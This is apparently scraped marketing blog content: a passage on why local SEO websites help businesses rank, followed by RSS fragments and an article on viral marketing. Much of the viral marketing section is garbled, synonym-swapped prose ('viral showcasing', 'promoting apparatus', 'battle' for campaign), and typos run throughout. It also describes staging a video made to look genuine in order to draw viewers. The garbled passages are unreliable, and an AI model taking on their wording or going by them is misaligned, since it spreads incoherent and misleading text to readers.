Aside from focusing on creating a website that will get a rank, it is crucial that you thrive in getting a top rank. There is still competition in local areas, and as we all know, customers pay more attention to the first top ranks as they believe they will get all the content they are looking for. For example, if you are a gym instructor based in Arizona and there are other competitive gym gurus in your location, you need to make sure that your content stands out from the rest to be able to get a favorable rank.
If a researcher searches for the best gym instructors around Arizona, and your site pops up at a 10th rank position, there will be less traffic in your website as opposed to someone who is ranked on number 4 or 3. So, focus on getting a top five position on ranking. Keep in mind that if the customers get what they are looking for from your website, then this will automatically improve your ranking and customers will search for you using your site’s name. Therefore, make sure to create an SEO website that will help you increase brand awareness in your local area.
Improves user interactions.
Most online customers prefer finding a reliable company that they can rely on if they need to buy something online. This means that, if your local SEO website has all the necessary products or services that will benefit your targeted audiences, this in return will help to improve the customers’ interactions.
So this is what happens.
When the researcher’s key in what they are looking for, for example, the best pizza restaurants in Arizona, if your restaurant’s name pops up first, the customer will want to learn more about your restaurants and what else you offer. The desire and curiosity from the customers push them to want to get more information about your business such as your location, and your contacts.
To keep the communication flowing and ensure there is room for your customers’ interactions, ask them to leave a comment about your pizza services if they order online. Keep in mind that the kind of communication you have on our website with your customers plays a considerable role in increasing your traffic.
Creates better conversation rates.
SEO websites are created in a way that they will take less time to load and be accessed with the use of mobile phones. With so many smartphones which have access to the internet, most people find it easy to browse using their smartphones since they can quickly acquire the content they are searching for while on the move. With a smartphone, you can research and even order for products online and have them delivered to your location. All these benefits hugely influence and increase customer flow to your site.
Helps to bypass competitions from other businesses.
Even if you still encounter competition on the way, you can bypass competition from the local companies that are not optimized. Search engine optimization improves your online business by making it easy for customers to notice yours. The exposure makes it easy for the local business owner to target large customer base and with ease without having to compete with the business which uses other traditional market methods. Always keep in mind that a lot of people Rely on SEO when looking for contents online.
Helps strengthen your relationship with your customers.
As said earlier, a majority of online customers prefer finding one website to provide them with all they need. No one wants to spend hours online every day trying to find a different supplier or marketer. So, if your local SEO website stands out and people find what they need from your site, then rest assured this will favor you over other companies. Just make sure that you follow all the rules for creating an SEO website to ensure that you get a top rank in your local area. And boom! You will be good to go.
Conclusion.
SEO is one of the most reliable methods for marketing all businesses including the small ones. You need to start small to get to high ranks, and if you want to put your new business to the globe, then SEO will help you achieve your desires. If you don’t know how to create a professional SEO website, find a website development agency to help you. Continually update your site with new information to keep your customers informed all the time.
And lastly, ensure that your website is easily accessible with the use of a smartphone. All these details will help you increase traffic by getting you a high rank on your local search engines.

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]]> Business to Consumer Marketing https://blog.codemarketing.com/business-to-consumer-marketing/ Sun, 10 Feb 2019 06:57:46 +0000 http://blog.codemarketing.com/?p=1162 Viral Marketing Marketing is a technique of selling or advertising that has existed in the world for ages since memorial. As contrary to what people think, many forms of marketing existed long ago and are still used in today’s are. However, since the inc-option o the internet, some other forms of advertisement emerged diversifying the …

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]]> Viral Marketing
Marketing is a technique of selling or advertising that has existed in the world for ages since memorial. As contrary to what people think, many forms of marketing existed long ago and are still used in today’s are. However, since the inc-option o the internet, some other forms of advertisement emerged diversifying the many forms of marketing. Viral marketing is one of the forms of advertisement that came as an aftermath of the internet and has enabled firms to sell ideas and advertise products and services to the people. This article is meant to offer you a deep insight of Viral marketing for you to decide if it is the ideal marketing strategy for your business.

What is Viral Marketing?

Viral marketing is a business strategy that utilizes social networks to0 promote products. As the name depicts, it refers to the manner in which customers spread information about a particular product to the other people in the network, the same way a virus spreads from one person to another. Viral marketing existed before, and its form enabled by the physical spreading of information about something or a product through word of mouth from one person to another. Nowadays with the advent of modern technology, internet, and social media, viral marketing is spread through internet-based platforms. Viral marketing involves offering the audience with something of value for free, and it must be good enough to prompt the audience to share it through their networks with other people. The viral content could be videos, songs, funny advertisements among other interesting contents.

How Viral Marketing Works

There is a misunderstood concept of marketing where people think that the success of a viral marketing campaign depends on the readability of the intended message. That is not the case; a good viral marketing campaign needs to focus on the understanding of creating a positive connection with its targeted audience and presenting them with valuable content.
Viral marketing is a customer-focused approach and therefore before you set put to start a promotion campaign, there is something concerning the customer that you should be conversant.
To start with, you need to identify your targeted audience because it will save you a ton of advertising costs as well as enable you to use your resources effectively knowing where they are located.
Determine the value your audience derives most from products. With this manner of information, you can tailor your products to fulfill that specific desire and promote your products to seem to support the satisfaction of the intended customer.
Research and analyze the demographic data of the location occupied by your target audience. The demographic data is important for the purposes o planning and budgeting as it determines the area to cover the cost to cover and the means of viral marketing best to use with such a targeted audience. Moreover, it determines the most cost-effective avenue of viral marketing to implement.
In the manner in which viral marketing works, the faster the message spreads, the more likely the content is to go viral. In today’s viral marketing, messages shared via mobile technology have shown the great res-one of going viral because of the fast reaction speed to a message or a video, and the fact that mobile phones are ready on peoples palms and they can react very fast to a message.
Viral marketing is an interactive process that continues for a while, and marketing companies have to run various messages for people to react to until they find the right one that will go viral. The process of viral marketing is not easy and not most of the information will go viral.

Various modes of Viral Marketing

Viral marketing is spread on various platforms and through different networks, that include:

Email
Word of mouth
Video sharing sites such as YouTube, Vimeo among others
Social networking sites such as Instagram, Whats app, LinkedIn among other social media sites
Web forums

Who is Viral Marketing appropriate?

Viral showcasing is valuable as an independent promoting apparatus or as a piece of a bigger battle that utilizes various sorts of advertising. It is particularly alluring to littler organizations or organizations because viral promoting can be a less expensive option in contrast to customary showcasing endeavours.

Another caffeinated drink organization, for instance, could make an Internet video including an individual who expends the caffeinated drink before playing out an unimaginable bike bounce. On the off chance that the video is made to look genuine, it might empower individuals who see it impart it to other people. After the video gets enough perspectives, the organization could uncover its actual reason, persuading its watchers to search out more data about the beverage while never utilizing a general notice.

Viral showcasing is regularly utilized related to different strategies for promoting, for example, on account of the Blair Witch Project. The viral part of the battle produced buzz about the story well before the arrival of advertisements, trailers, blurbs, and different types of customary promoting. This made numerous individuals as of now talk about the motion picture before it was formally reported to the general population.

Content does not need to be undercover to be viral. Political crusades regularly make recordings highlighting sound clasps of a contradicting hopeful saying something individuals may discover hostile. Government officials trust that by pointing out a ludicrous articulation, the video will become a web sensation and cause others to build up a negative disposition toward the focused on the rival.

Advantages of Viral Marketing

Minimal effort. What portrays viral battles is that the clients complete a critical piece of the work for us, which radically chops down the expenses of scattering: it winds up superfluous to purchase promoting or space on the media.
The capability of incredible reach. A viral video on the Internet can contact a tremendous worldwide gathering of people without us contributing cash or try. Because of this, a little organization or even a private individual can go incredibly far.
It isn’t intrusive. In viral promoting, the choice to take an interest and offer dependably originates from the client. Thus it never seems to be intrusive. Like this, the impression of the brand and the association are fundamentally better, contrasted with increasingly traditional types of publicizing.
It helps develop your image. On the off chance that we truly hit the bulls-eye regarding inventiveness, we are making content so staggering that clients themselves choose to share it and, thus making an individual association with your image. It is unmistakably a very incredible asset with regards to marking and mindfulness.